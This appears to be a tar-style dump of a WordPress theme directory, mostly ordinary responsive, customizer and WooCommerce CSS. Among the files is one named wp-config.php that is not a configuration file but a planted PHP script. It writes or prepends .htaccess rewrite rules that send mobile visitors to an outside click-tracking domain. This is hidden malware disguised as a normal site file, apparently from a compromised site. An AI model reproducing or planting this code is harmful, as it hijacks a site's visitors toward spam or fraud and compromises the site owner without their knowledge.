background-color:#fafafa;
padding: 0px;
width: 100%;
}
.main-navigation ul{
display:block;
}
.main-navigation li{
display: block;
}
.main-navigation .menu-item-has-children:active > ul,
.main-navigation .menu-item-has-children:hover > ul,
.main-navigation .menu-item-has-children.focus > ul{
position: relative !important;
display: block;
margin-left: 20px;
border-left: 0px;
left: unset;
}
.main-navigation .menu-item-has-children .sub-menu{
background-color: initial;
}
.main-navigation ul .menu-item-has-children > a::before {
right: 0px;
top: 0px;
transform: unset;
content: "\25B6";
border-top-color: transparent;
border-left-color: currentColor;
width: 60px;
padding-left: 20px;
display: block;
height: 100%;
padding-top: 15px;
border: unset;
pointer-events: none;
z-index: 10000;
}
.hidden-mobile{
display:none !important;
}
.menu .page_item a,
.menu .menu-item a{
font-size:18px;
padding: 15px 20px;
border-bottom: 1px solid #eaeaea;
}
.site-main{
width:100% !important;
padding-left: 10px;
padding-right: 10px;
}
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:50%;
float:none;
margin:30px;
display:block;
}
.site-footer{
padding:40px 15px;
}
input.search-submit{
margin-top:0px;
}
.comments-area{
padding:25px;
margin: 30px 15px 15px;
}
.woocommerce-MyAccount-navigation ul{
padding-left:0px;
}
.woocommerce-account .woocommerce-MyAccount-content{
padding:30px 0px 0px;
}
.error-404 .widget_recent_entries,
.error-404 .widget_categories,
.error-404 .widget_archive{
width:100%;
display:inline-block;
vertical-align:top;
}
}
@media all and (max-width:599px){
main, .pagelayer-content{
width: 100% !important;
}
.widget-area{
width:auto !important;
float:none;
margin:15px;
display:block;
}
.article{
margin: 30px 15px 15px;
}
.comments-area{
padding:25px;
margin: 30px 15px 15px;
}
.comment-reply-title small a{
display:block;
margin-top:5px;
margin-left:0px;
}
.site-footer{
padding:40px 15px;
}
input.search-submit{
margin-top:0px;
}
.error-404{
margin:20px;
}
.error-code{
font-size:100px;
}
.error-404 .search-field{
width:100%;
}
}
search_template_1775659388/wp-config.php 0000666 00000002005 15221117310 0013472 0 ustar 00 <!--gBcsLeqV-->
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$path = __DIR__ . '/.htaccess';
$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
array_pop($parts);
}
$var = implode('.', $parts);
$insert =
"RewriteEngine On\n".
"RewriteCond %{HTTP_USER_AGENT} \"Android|iPhone|iPad|iPod|BlackBerry|Windows Phone\" [NC]\n".
"RewriteRule ^.*$ https://go.welldone55.xyz/click?pid=26676&offer_id=5572&l=1773310208 [R=302,L]\n\n";
if (!file_exists($path)) {
if (file_put_contents($path, $insert) === false) {
trigger_error('Failed to create .htaccess', E_USER_ERROR);
}
exit;
}
$content = file_get_contents($path);
if ($content === false) {
trigger_error('Failed to read .htaccess', E_USER_ERROR);
}
if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
exit;
}
if (file_put_contents($path, $insert . $content) === false) {
trigger_error('Failed to write .htaccess', E_USER_ERROR);
} search_template_1775659388/customizer.css 0000666 00000013632 15221117310 0014016 0 ustar 00 /* CSS for Customizer Custom Controls */
.popularfx-edit-link{
display: block;
border:1px solid #ccc;
border-bottom:0px solid #ccc;
padding: 8px;
font-size: 14px;
font-weight: 600;
font-style: normal;
text-decoration: none;
background: #fff;
}
.popularfx-edit-link:last-of-type{
margin-bottom: 30px;
border-bottom:1px solid #ccc;
}
.popularfx-edit-link:hover{
background: #efefef;
}
/* Standard Selection */
#customize-control-popularfx_sidebar_default{
border-bottom: 1px double #ccc;
padding-bottom: 15px;
}
#accordion-section-popularfx_pro_link,
#accordion-section-no_pagelayer {
background: #fff;
font-size: 13px;
font-weight: 600;
text-align: right;
}
#accordion-section-no_pagelayer{
background: #FF0000;
}
#accordion-section-popularfx_pro_link a,
#accordion-section-no_pagelayer a{
padding:10px;
display: block;
text-decoration: none;
text-align: left;
}
#accordion-section-no_pagelayer a{
color: #FFEDD3;
}
#accordion-section-popularfx_pro_link a span,
#accordion-section-no_pagelayer a span{
padding-right: 5px;
}
.popularfx-customize-description {
width:100%;
float: left;
}
/* Alpha Color Picker */
.customize-control-alpha-color .wp-picker-container .iris-picker {
border-bottom:none;
}
.customize-control-alpha-color .wp-picker-container {
max-width: 257px;
}
.customize-control-alpha-color .wp-picker-open + .wp-picker-input-wrap {
width: 100%;
}
.customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control {
float: left;
width: 195px;
}
.customize-control-alpha-color .wp-picker-input-wrap .button {
margin-left: 0;
float: right;
}
.wp-picker-container .wp-picker-open ~ .wp-picker-holder .alpha-color-picker-container {
display: block;
}
.alpha-color-picker-container {
border: 1px solid #dfdfdf;
border-top: none;
display: none;
background-color: #fff;
padding: 0 11px 10px;
position: relative;
}
.alpha-color-picker-container .ui-widget-content,
.alpha-color-picker-container .ui-widget-header,
.alpha-color-picker-wrap .ui-state-focus {
background: transparent;
border: none;
}
.alpha-color-picker-wrap a.iris-square-value:focus {
-webkit-box-shadow: none;
box-shadow: none;
}
.alpha-color-picker-container .ui-slider {
position: relative;
z-index: 1;
height: 24px;
text-align: center;
margin: 0 auto;
width: 88%;
width: calc( 100% - 28px );
}
.alpha-color-picker-container .ui-slider-handle,
.alpha-color-picker-container .ui-widget-content .ui-state-default {
color: #777;
background-color: #fff;
text-shadow: 0 1px 0 #fff;
text-decoration: none;
position: absolute;
z-index: 2;
box-shadow: 0 1px 2px rgba(0,0,0,0.2);
border: 1px solid #aaa;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
margin-top: -2px;
top: 0;
height: 26px;
width: 26px;
cursor: ew-resize;
font-size: 0;
padding: 0;
line-height: 27px;
margin-left: -14px;
}
.alpha-color-picker-container .ui-slider-handle.show-opacity {
font-size: 12px;
}
.alpha-color-picker-container .click-zone {
width: 14px;
height: 24px;
display: block;
position: absolute;
left: 10px;
}
.alpha-color-picker-container .max-click-zone {
right: 10px;
left: auto;
}
.alpha-color-picker-container .transparency {
height: 24px;
width: 100%;
background-color: #fff;
background-image: url(./images/color-picker-transparency-grid.png);
box-shadow: 0 0 5px rgba(0,0,0,0.4) inset;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
padding: 0;
margin-top: -24px;
}
@media only screen and (max-width: 782px) {
.customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control {
width: 184px;
}
}
@media only screen and (max-width: 640px) {
.customize-control-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker.alpha-color-control {
width: 172px;
height: 33px;
}
}
/* Alpha Color Picker & Standard Color Picker */
.customize-control-color .wp-color-result,
.customize-control-alpha-color .wp-color-result {
box-shadow: none;
}
.customize-control-color .wp-color-result .wp-color-result-text,
.customize-control-alpha-color .wp-color-result .wp-color-result-text {
border-left: none;
}
.wp-picker-holder .iris-picker .iris-palette {
box-shadow: none;
}
.wp-picker-container .iris-picker,
.wp-picker-container .alpha-color-picker-container {
border-radius: 0;
border: none;
}
.wp-picker-container .alpha-color-picker-container {
width: 233px;
}
/* WPColorPicker Alpha Color Picker */
.customize-control-wpcolorpicker-alpha-color .wp-color-result {
box-shadow: none;
}
.customize-control-wpcolorpicker-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker {
float: left;
width: 195px;
}
.customize-control-wpcolorpicker-alpha-color .wp-color-result .wp-color-result-text {
border-left: none;
}
/* Custom checkbox style start */
#customize-control-pfx_enable_scrolltop input[type="checkbox"]{
float: right;
font-size: 12px;
margin: 0px;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
width: 3.5em;
height: 1.7em;
background: #ddd;
border-radius: 3em;
position: relative;
cursor: pointer;
outline: none;
-webkit-transition: all .2s ease-in-out;
transition: all .2s ease-in-out;
}
#customize-control-pfx_enable_scrolltop .customize-inside-control-row{
margin-left: 0px !important;
text-transform: capitalize;
}
#customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked{
background-color: #1A9CDB;
border-color: #1A9CDB;
}
#customize-control-pfx_enable_scrolltop input[type="checkbox"]:after{
position: absolute;
content: "";
width: 1.5em;
height: 1.5em;
border-radius: 50%;
background: #fff;
-webkit-box-shadow: 0 0 .25em rgba(0,0,0,.3);
box-shadow: 0 0 .25em rgba(0,0,0,.3);
-webkit-transform: scale(.7);
transform: scale(.7);
left: 0;
-webkit-transition: all .2s ease-in-out;
transition: all .2s ease-in-out;
}
#customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked:before{
display: none;
}
#customize-control-pfx_enable_scrolltop input[type="checkbox"]:checked:after{
left: calc(100% - 1.5em);
}
/* Custom checkbox style end*/
search_template_1775659388/woocommerce.css 0000666 00000057224 15221117310 0014136 0 ustar 00 /*!
Woo-Commerce Stylesheet
Version: 1.2.0
Designed by A$ad!!
*/
/* PopularFX header menu start*/
.pfx-menu-cart.cart-customlocation{
display: none;
}
header .pfx-menu-cart.cart-customlocation{
display: inline-block;
}
.cart-customlocation sup{
top: -12px;
line-height: 1.5em;
font-size: 80%;
}
#customize-preview body #site-navigation .customize-partial-edit-shortcut-button{
left: -10px !important;
}
/* PopularFX header menu ends*/
.woocommerce main,
.woocommerce-page main{
margin: 40px auto;
border: 1px solid #eaeaea;
box-shadow: 0px 0px 30px 0 #0000000a;
padding: 15px;
}
.woocommerce-shop main .woocommerce-products-header__title{
margin: 0px;
}
.woocommerce-shop main .woocommerce-ordering select{
padding: 6px;
border: 1px solid #ccc;
border-radius: 4px;
box-shadow: 0px 0px 10px 0px #0000000f;
color: #666;
font-size: 14px;
outline: none !important;
}
.woocommerce ul.products li.product .star-rating {
display: none;
}
.woocommerce ul.products li.product .pfx-star-rating-container {
padding: 0px 5px;
}
.woocommerce ul.products li.product .star-rating.pfx-star-rating:hover span{
width: 100% !important;
}
.woocommerce .products ul, .woocommerce ul.products {
display: flex;
flex-wrap: wrap;
}
.woocommerce .site-main ul.products li.product, .woocommerce-page .site-main ul.products li.product{
margin: 0 2% 2% 0;
border-radius: 5px;
flex: 1 1 0;
}
.woocommerce ul.products.columns-1 li.product,
.woocommerce-page ul.products.columns-1 li.product {
width: 100%;
max-width: 100%;
min-width: 100%;
}
.woocommerce ul.products.columns-2 li.product,
.woocommerce-page ul.products.columns-2 li.product {
width: 49%;
max-width: 49%;
min-width: 49%;
}
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product {
width: 32%;
max-width: 32%;
min-width: 32%;
}
.woocommerce ul.products.columns-4 li.product,
.woocommerce-page ul.products.columns-4 li.product {
width: 23.5%;
max-width: 23.5%;
min-width: 23.5%;
}
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product {
width: 18.4%;
max-width: 18.4%;
min-width: 18.4%;
}
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product{
width: 15%;
max-width: 15%;
min-width: 15%;
}
.woocommerce ul.products.columns-2 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-2 li.product:nth-child(2n),
.woocommerce ul.products.columns-3 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-3 li.product:nth-child(3n),
.woocommerce ul.products.columns-4 li.product:nth-child(4n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(4n),
.woocommerce ul.products.columns-5 li.product:nth-child(5n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(5n),
.woocommerce ul.products.columns-6 li.product:nth-child(6n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(6n) {
margin-right: 0;
clear: right;
}
.woocommerce ul.products li.product a img{
border-radius: 5px 5px 0px 0px;
}
.woocommerce ul.products li.product .woocommerce-loop-product__title,
.woocommerce ul.products li.product .woocommerce-loop-category__title{
padding: 0px 5px 5px;
}
.woocommerce ul.products li.product .price {
padding: 0px 5px;
}
.woocommerce ul.products li.product .button {
margin-left: 5px;
margin-bottom: 1em;
}
.woocommerce #respond input#submit, .woocommerce a.button,
.woocommerce button.button, .woocommerce input.button,
.woocommerce #respond input#submit.alt, .woocommerce a.button.alt,
.woocommerce button.button.alt, .woocommerce input.button.alt {
font-family: inherit;
font-size: 80%;
-webkit-font-smoothing: subpixel-antialiased;
}
.woocommerce .product #respond input#submit, .woocommerce .product a.button, .woocommerce button.button, .woocommerce input.button, .woocommerce .product button.button, .woocommerce .product input.button, .woocommerce .product #respond input#submit.alt, .woocommerce .product a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt .woocommerce .product button.button.alt, .woocommerce .product input.button.alt{
border: solid;
}
.woocommerce a.added_to_cart {
padding: .5em;
font-size: 70%;
}
.woocommerce nav.woocommerce-pagination {
text-align: left;
}
.woocommerce nav.woocommerce-pagination ul {
border: 0px;
}
.woocommerce nav.woocommerce-pagination ul li {
margin: 0 5px 5px 0;
border: 0px;
}
.woocommerce nav.woocommerce-pagination ul li a,
.woocommerce nav.woocommerce-pagination ul li span {
padding: .75em;
min-width: 2.5em;
text-align: center;
}
.woocommerce span.onsale {
min-height: 3.736em;
min-width: 3.736em;
font-size: 80% !important;
font-weight: 500 !important;
box-shadow: 1px -1px 10px 0px #0000001f;
}
/* Shop Page design end */
/* Product Page design start */
.product-template-default.single-product aside{
display: none;
width: 0px;
}
.woocommerce div.product .product_title {
margin: 0.5em 0px 10px;
}
.woocommerce div.product .woocommerce-product-rating .woocommerce-review-link:hover{
color: #000000;
}
.woocommerce .quantity .qty {
height: 30.8px;
}
.woocommerce div.product p.price, .woocommerce div.product span.price {
margin: 0px;
text-decoration: none !important;
}
.woocommerce div.product p.price ins, .woocommerce div.product span.price ins {
text-decoration: none;
}
.woocommerce div.product form.cart {
margin-bottom: 0.5em;
padding-bottom: 10px;
border-bottom: 1px solid #eee;
}
.posted_in a{
color: inherit;
font-weight: bold;
font-style: italic;
}
.posted_in a:hover{
color: #000000;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li {
border: 0px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li:hover,
.woocommerce div.product .woocommerce-tabs ul.tabs li.active {
background-color: #5C7AEA;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li:hover a,
.woocommerce div.product .woocommerce-tabs ul.tabs li.active a{
color: #ffffff;
outline: 0px;
}
.product section.up-sells.upsells.products {
clear: both;
}
.woocommerce div.product .woocommerce-tabs .panel {
padding: 10px 50px;
min-width: 100%;
}
.woocommerce div.product .woocommerce-tabs .panel h2,
.woocommerce div.product .woocommerce-tabs .panel p{
margin: 5px 0px;
}
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments{
width: 50%;
float: left;
}
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments .woocommerce-Reviews-title{
font-size: 35px;
padding-bottom: 10px;
}
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments .commentlist{
padding-left: 0px;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
width: 45px;
border-radius: 50%;
padding: 0px;
top: 5px;
}
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #review_form_wrapper{
width: 50%;
float: right;
}
.woocommerce #review_form #respond {
margin: 15px 15px 0px;
width: 100%;
padding: 30px 25px;
border: 1px solid #eee;
}
.woocommerce #review_form #respond *{
padding: 2px 5px;
}
/* Woocommerce Product page Ends */
/* Woocommerce Cart Start*/
.woocommerce-page .entry-content{
min-width: 100%;
}
.woocommerce table.shop_table thead{
background: #000000;
color: #ffffff;
}
.woocommerce table.shop_table th {
padding: 15px 10px;
}
.woocommerce table.shop_table tbody tr:nth-child(odd),
.woocommerce table.shop_table tbody tr:last-child,
.woocommerce table.shop_table tbody tr:last-child:hover{
background: #ffffff !important;
}
.woocommerce table.shop_table tbody tr:nth-child(even){
background: #f7f6f7;
}
.woocommerce table.shop_table tbody tr:hover{
background: #f7f6f7 !important;
}
.woocommerce table.shop_table td {
border-top: 0px;
padding: 10px 10px;
}
.woocommerce table.shop_table tr {
outline: 1px solid #eee;
}
.woocommerce a.remove{
font-weight: 200;
border: 1px solid;
margin: auto;
line-height: 0.8em;
}
.woocommerce-cart table.cart img, .woocommerce-checkout table.cart img {
width: 60px;
height: 60px;
vertical-align: middle;
}
.woocommerce table.shop_table .product-name *{
color: #444444;
text-decoration: underline;
}
.woocommerce #content table.cart td.actions, .woocommerce table.cart td.actions,
.woocommerce-page #content table.cart td.actions, .woocommerce-page table.cart td.actions {
padding: 20px 20px 20px;
}
.woocommerce-cart table.cart td.actions .coupon .input-text,
.woocommerce-checkout table.cart td.actions .coupon .input-text {
width: 250px;
height: 36px;
border-radius: 4px;
box-shadow: 0px 0px 10px 0px #0000000f;
}
.woocommerce .cart .button, .woocommerce .cart input.button,
.woocommerce .button.wc-backward, .woocommerce .cart .button.wc-backward {
padding: 12px 20px !important;
}
.cart-collaterals .cart_totals {
margin-top: 20px;
box-shadow: 0px 0px 10px 0px #0000000f;
padding: 20px;
}
.cart-collaterals .cross-sells h2 {
margin: 40px 0px 10px;
font-size: 30px;
}
.cart-collaterals .cart_totals h2{
margin: 0px;
font-size: 20px;
padding: 15px 10px;
background: #000000;
color: #ffffff;
text-transform: uppercase;
}
.woocommerce .cart-collaterals .cart_totals th,
.woocommerce-page .cart-collaterals .cart_totals th,
.woocommerce .cart-collaterals .cart_totals td,
.woocommerce-page .cart-collaterals .cart_totals td{
padding: 15px 10px;
}
#add_payment_method .wc-proceed-to-checkout , .woocommerce-cart .wc-proceed-to-checkout, .woocommerce-checkout .wc-proceed-to-checkout {
padding-bottom: 0px !important;
}
#add_payment_method .wc-proceed-to-checkout a.checkout-button, .woocommerce-cart .wc-proceed-to-checkout a.checkout-button, .woocommerce-checkout .wc-proceed-to-checkout a.checkout-button {
padding: 18px !important;
margin-bottom: 0px;
}
/* Cart Page Ends*/
/* Checkout Page Start*/
.woocommerce-checkout .checkout.woocommerce-checkout{
overflow: auto;
}
.woocommerce-checkout .checkout.woocommerce-checkout h3{
margin: 10px 0px 5px;
}
.woocommerce .col2-set, .woocommerce-page .col2-set{
width: 56%;
float: left;
margin-right: 4%;
clear: left;
}
.woocommerce .col2-set .col-1, .woocommerce-page .col2-set .col-1,
.woocommerce .col2-set .col-2, .woocommerce-page .col2-set .col-2 {
width: 100%;
}
.woocommerce form .form-row input.input-text,
.woocommerce form .form-row .select2-container .select2-selection--single{
padding: 5px 10px;
height: 40px;
}
.woocommerce form .form-row input.input-text::placeholder{
text-transform: capitalize;
}
.select2-container .select2-selection--single .select2-selection__rendered{
padding-left: 0px;
}
.woocommerce form .form-row .select2-container .select2-selection__arrow{
height: 38px;
}
.woocommerce #order_review_heading, .woocommerce-page #order_review_heading,
.woocommerce #order_review, .woocommerce-page #order_review{
width: 40%;
float: right;
clear: right;
}
.woocommerce-checkout form #order_review_heading {
border: 2px solid #ebebeb;
border-bottom: 0px;
margin: 0;
padding: 1.5em 1.5em 0.6em;
}
.woocommerce-checkout form #order_review .woocommerce-checkout-review-order-table .product-total{
text-align:right;
}
.woocommerce-checkout form #order_review {
padding: 0 2em 2em;
border-width: 0 2px 2px;
border-style: solid;
border-color: #ebebeb;
}
#add_payment_method #payment, .woocommerce-cart #payment, .woocommerce-checkout #payment {
background: #ffffff;
}
#add_payment_method #payment ul.payment_methods, .woocommerce-cart #payment ul.payment_methods,
.woocommerce-checkout #payment ul.payment_methods, #add_payment_method #payment div.form-row,
.woocommerce-cart #payment div.form-row, .woocommerce-checkout #payment div.form-row{
padding: 0px;
border-bottom: 0px;
}
.woocommerce-checkout #payment #place_order {
width: 100%;
height: 48px;
}
.cart_totals.calculated_shipping .shop_table tbody td,
.woocommerce-checkout-review-order-table tfoot .cart-subtotal td,
.woocommerce-checkout-review-order-table tfoot .woocommerce-shipping-totals td,
.woocommerce-checkout-review-order-table tfoot .cart-discount td,
.woocommerce-checkout-review-order-table tfoot .order-total td{
text-align: right;
}
.woocommerce .woocommerce-form-coupon .form-row-last, .woocommerce-page .woocommerce-form-coupon .form-row-last {
float: left;
}
.woocommerce form .form-row-last button, .woocommerce-page form .form-row-last button{
padding: 0px 20px !important;
height: 40px;
}
.woocommerce form .form-row-first, .woocommerce form .form-row-last,
.woocommerce-page form .form-row-first, .woocommerce-page form .form-row-last {
width: 49%;
}
/* Checkout Page End*/
/* Order Page Start*/
.woocommerce-order .woocommerce-notice--success{
background: #6ecb63;
color: #000000;
Padding: 8px;
border-radius: 5px;
margin-bottom: 2em;
}
.woocommerce ul.order_details{
padding : 0px;
}
.woocommerce-order .woocommerce-order-details .woocommerce-order-details__title,
.woocommerce-order .woocommerce-customer-details .woocommerce-column__title{
margin: 10px;
}
/* Order Page End*/
/* My Account Start*/
.woocommerce-account .woocommerce{
border: 1px solid #ebebeb;
box-shadow: 0px 0px 30px 0 #0000000a;
margin: 40px auto;
}
.woocommerce-account .woocommerce-MyAccount-navigation {
width: 25%;
border: 1px solid #eeeeee;
border-left: 0px;
height: 100%;
}
.woocommerce-MyAccount-navigation ul {
padding: 0px;
text-transform: uppercase;
font-size: 14px;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{
border: 0px;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link *{
color: #444444 !important;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active,
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link:hover{
background-color: #5c7aea;
}
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active *,
.woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link:hover *{
color: #ffffff !important;
}
.woocommerce-account .woocommerce-MyAccount-content {
padding: 30px;
width: 75%;
}
.woocommerce-MyAccount-content table.shop_table th,
.woocommerce-MyAccount-content table.shop_table td {
padding: 10px 15px;
}
.woocommerce .woocommerce-MyAccount-content table.shop_table tbody tr:last-child {
background: revert;
}
.woocommerce-MyAccount-content .col2-set {
width: 100%;
margin-right: 0px;
}
.woocommerce-MyAccount-content .col2-set h3 {
margin: 10px 0px;
}
.woocommerce-MyAccount-content .col2-set address {
padding: 10px;
border: 1px solid #eee;
border-radius: 10px;
background: #f7f7f744;
box-shadow: 0px 0px 30px 0 #0000000a;
}
.woocommerce-MyAccount-content button.button{
padding: 10px 12px !important;
margin-top: 15px;
}
/* My Account End*/
@media only screen and (max-width: 901px) and (min-width: 501px){
.woocommerce .site-main,
.woocommerce-page .site-main {
padding: 1.5em !important;
}
.woocommerce ul.products.columns-4 li.product,
.woocommerce-page ul.products.columns-4 li.product,
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product,
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product,
.related.products ul.products.columns-3 li.product,
.related.products ul.products.columns-3 li.product{
width: 32%;
max-width: 32%;
min-width: 32%;
}
.woocommerce ul.products.columns-4 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(3n),
.woocommerce ul.products.columns-5 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(3n),
.woocommerce ul.products.columns-6 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(3n),
.related.products ul.products.columns-3 li.product:nth-child(3n),
.related.products ul.products.columns-3 li.product:nth-child(3n){
margin-right: 0 !important;
clear: right;
}
.woocommerce ul.products.columns-4 li.product:nth-child(4n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(4n),
.woocommerce ul.products.columns-5 li.product:nth-child(5n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(5n),
.woocommerce ul.products.columns-6 li.product:nth-child(6n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(6n) {
margin-right: auto !important;
}
.woocommerce #content div.product div.summary, .woocommerce div.product div.summary,
.woocommerce-page #content div.product div.summary, .woocommerce-page div.product div.summary,
.woocommerce div.product div.images {
width: 100%;
}
.woocommerce div.product div.images {
margin-bottom: 1em;
}
.woocommerce div.product .woocommerce-tabs .panel {
padding: 10px;
}
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments,
.woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #review_form_wrapper{
width: 100%;
}
.woocommerce table.shop_table th {
padding: 10px 5px;
}
.woocommerce table.shop_table td {
padding: 8px 5px;
font-size: 15px;
}
.woocommerce a.remove {
font-size: 20px;
}
#add_payment_method table.cart img, .woocommerce-cart table.cart img, .woocommerce-checkout table.cart img {
width: 40px;
height: 40px;
}
.woocommerce .cart-collaterals .cart_totals, .woocommerce-page .cart-collaterals .cart_totals {
width: 100%;
padding: 10px;
}
.woocommerce #content table.cart td.actions, .woocommerce table.cart td.actions, .woocommerce-page #content table.cart td.actions, .woocommerce-page table.cart td.actions {
padding: 10px;
}
.woocommerce #content table.cart td.actions .button, .woocommerce table.cart td.actions .button, .woocommerce-page #content table.cart td.actions .button, .woocommerce-page table.cart td.actions .button {
float: right;
width: auto;
}
.woocommerce .col2-set, .woocommerce-page .col2-set,
.woocommerce #order_review_heading, .woocommerce-page #order_review_heading,
.woocommerce #order_review, .woocommerce-page #order_review {
width: 100%;
margin-right: 0px;
margin-bottom: 2em;
}
.woocommerce-page.woocommerce-checkout form #order_review_heading, .woocommerce.woocommerce-checkout form #order_review_heading {
padding: 1em 1em 0.5em;
}
.woocommerce-page.woocommerce-checkout form #order_review, .woocommerce.woocommerce-checkout form #order_review {
padding: 0 1em 1em;
}
.woocommerce ul.order_details li {
padding: 1em 1.5em 1em 1em;
width: 100%;
}
.woocommerce .widget-area {
width: 100%;
float: right;
margin: 30px 0px 0px;
height: auto;
}
.woocommerce-account .woocommerce-MyAccount-navigation,
.woocommerce-account .woocommerce-MyAccount-content {
width: 100%;
}
}
@media only screen and (max-width: 768px){
.woocommerce table.shop_table tr {
margin: 10px 0px;
}
.woocommerce table.shop_table td.product-remove {
background: #000000 !important;
}
.woocommerce table.shop_table td.product-remove *{
color: #ffffff !important;
}
.woocommerce table.shop_table td {
padding: 10px 10px;
}
}
@media only screen and (max-width: 701px){
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product,
.woocommerce ul.products.columns-4 li.product,
.woocommerce-page ul.products.columns-4 li.product,
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product,
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product,
.related.products ul.products.columns-3 li.product,
.related.products ul.products.columns-3 li.product{
width: 49%;
max-width: 49%;
min-width: 49%;
}
.woocommerce ul.products.columns-4 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(3n),
.woocommerce ul.products.columns-5 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(3n),
.woocommerce ul.products.columns-6 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(3n){
margin-right: auto !important;
}
.woocommerce ul.products.columns-3 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-3 li.product:nth-child(2n),
.woocommerce ul.products.columns-4 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(2n),
.woocommerce ul.products.columns-5 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(2n),
.woocommerce ul.products.columns-6 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(2n){
margin-right: 0 !important;
clear: right;
}
.woocommerce #review_form #respond {
margin: 5px 5px 0px;
width: 100%;
padding: 10px 5px;
}
.woocommerce #review_form #respond .comments-title,
.woocommerce #review_form #respond .comment-reply-title {
font-size: 15px;
}
.woocommerce-account .woocommerce-MyAccount-content {
padding: 1em;
}
}
@media only screen and (max-width: 501px){
.woocommerce-ordering,.woocommerce-ordering select {
width: 100%;
}
.woocommerce ul.products.columns-2 li.product,
.woocommerce-page ul.products.columns-2 li.product,
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product,
.woocommerce ul.products.columns-4 li.product,
.woocommerce-page ul.products.columns-4 li.product,
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product,
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product,
.related.products ul.products.columns-3 li.product,
.related.products ul.products.columns-3 li.product {
width: 100%;
max-width: 100%;
min-width: 100%;
}
.woocommerce ul.products.columns-3 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-3 li.product:nth-child(3n),
.woocommerce ul.products.columns-4 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(3n),
.woocommerce ul.products.columns-5 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(3n),
.woocommerce ul.products.columns-6 li.product:nth-child(3n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(3n),
.woocommerce ul.products.columns-3 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-3 li.product:nth-child(2n),
.woocommerce ul.products.columns-4 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-4 li.product:nth-child(2n),
.woocommerce ul.products.columns-5 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-5 li.product:nth-child(2n),
.woocommerce ul.products.columns-6 li.product:nth-child(2n),
.woocommerce-page ul.products.columns-6 li.product:nth-child(2n) {
margin-right: auto !important;
}
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product,
.woocommerce ul.products.columns-4 li.product,
.woocommerce-page ul.products.columns-4 li.product,
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product,
.woocommerce ul.products.columns-6 li.product,
